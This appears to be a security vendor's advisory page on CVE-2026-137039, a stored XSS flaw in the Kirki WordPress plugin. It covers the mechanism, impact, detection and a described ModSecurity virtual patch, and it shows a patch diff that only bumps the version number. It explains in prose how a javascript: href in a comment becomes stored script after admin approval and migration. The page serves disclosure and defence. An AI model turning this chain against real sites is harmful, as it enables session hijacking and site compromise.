* Author URI: https://kirki.com
* License: GPLv2 or later
@@ -26,7 +26,7 @@
// Define KIRKI_VERSION early to prevent bundled Kirki versions from loading.
if ( ! defined( 'KIRKI_VERSION' ) ) {
- define( 'KIRKI_VERSION', '6.4.3' );
+ define( 'KIRKI_VERSION', '6.4.4' );
}
require_once plugin_dir_path( __FILE__ ) . 'config.php';
Frequently Asked Questions
What is CVE-2026-137039?
Vulnerability overviewCVE-2026-137039 is a stored cross-site scripting (XSS) vulnerability in the Kirki Freeform Page Builder, Website Builder and Customizer plugin for WordPress, affecting versions up to and including 6.4.3. It allows an unauthenticated attacker to inject malicious scripts via the properties.attributes.href parameter, which are stored and later executed when a user visits an affected page.
How does the vulnerability work?
Technical mechanismThe plugin fails to properly sanitize and escape the href attribute when rendering links in frontend preview and exceptional elements. An attacker can submit a comment containing a crafted link with a javascript: URI. If an administrator approves the comment and runs Kirki’s Convert migration, the unescaped href is stored in block attributes and output without escaping, causing script execution for all visitors.
Who is affected by this vulnerability?
Affected softwareAny WordPress site using the Kirki plugin version 6.4.3 or earlier is affected. This includes sites that have the plugin active and allow comments, as the attack vector involves comment submission. Administrators should check their plugin version and update if necessary.
How can I check if my site is vulnerable?
Detection methodCheck the installed version of the Kirki plugin in the WordPress admin under Plugins. If the version is 6.4.3 or lower, the site is vulnerable. Additionally, review any approved comments for suspicious href attributes containing javascript: or other script payloads.
What is the risk level of this vulnerability?
CVSS score interpretationThe CVSS score is 5.4, rated Medium. This reflects that exploitation requires administrator interaction (approving a comment and running a migration) but can lead to stored XSS affecting all visitors. The impact includes session hijacking, credential theft, and potential site compromise.
How can I fix or mitigate this vulnerability?
Remediation stepsUpdate the Kirki plugin to version 6.4.4 or later, which includes patches that escape output using esc_url() and esc_attr(). If immediate update is not possible, consider disabling comments or restricting comment approval to trusted users, and avoid running the Convert migration on untrusted content.
What does the proof of concept demonstrate?
PoC explanationThe proof of concept shows how an attacker can submit a comment with a malicious href attribute, which, after administrator approval and migration, results in stored XSS. It highlights the multi-step nature of the attack and the need for administrator action, but also demonstrates that once stored, the payload executes for all visitors.
What is the patch for this vulnerability?
Patch detailsThe patch in version 6.4.4 escapes the href output in ExceptionalElements.php and Preview.php using esc_url() and esc_attr(). It also tightens regex patterns to avoid partial matches and includes unrelated fixes for translation loading and export/import handling.
Can an unauthenticated attacker exploit this vulnerability directly?
Exploitation requirementsNo, direct exploitation is not possible without administrator interaction. The attacker must submit a comment, which then requires an administrator to approve it and run the Convert migration. However, social engineering can trick administrators into performing these actions, making the vulnerability practical to exploit.
What are the potential consequences of successful exploitation?
Impact analysisSuccessful exploitation can lead to arbitrary JavaScript execution in the context of visitors’ browsers, including administrators. This enables session hijacking, credential theft, defacement, redirection to malicious sites, and potentially remote code execution if the attacker leverages the XSS to create an administrative user or install a malicious plugin.
Is there a ModSecurity rule available for this vulnerability?
Web application firewall ruleYes, a ModSecurity rule is provided that blocks requests to wp-comments-post.php containing a comment with an anchor tag and a javascript: URI in the href attribute. This rule can be used as a virtual patch until the plugin is updated.
What should I do if I suspect my site has been compromised?
Incident responseIf you suspect compromise, update the plugin immediately, review approved comments for malicious content, scan for unauthorized administrative users or plugins, and reset passwords for all administrative accounts. Consider using a security plugin to scan for malware and review server logs for suspicious activity.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






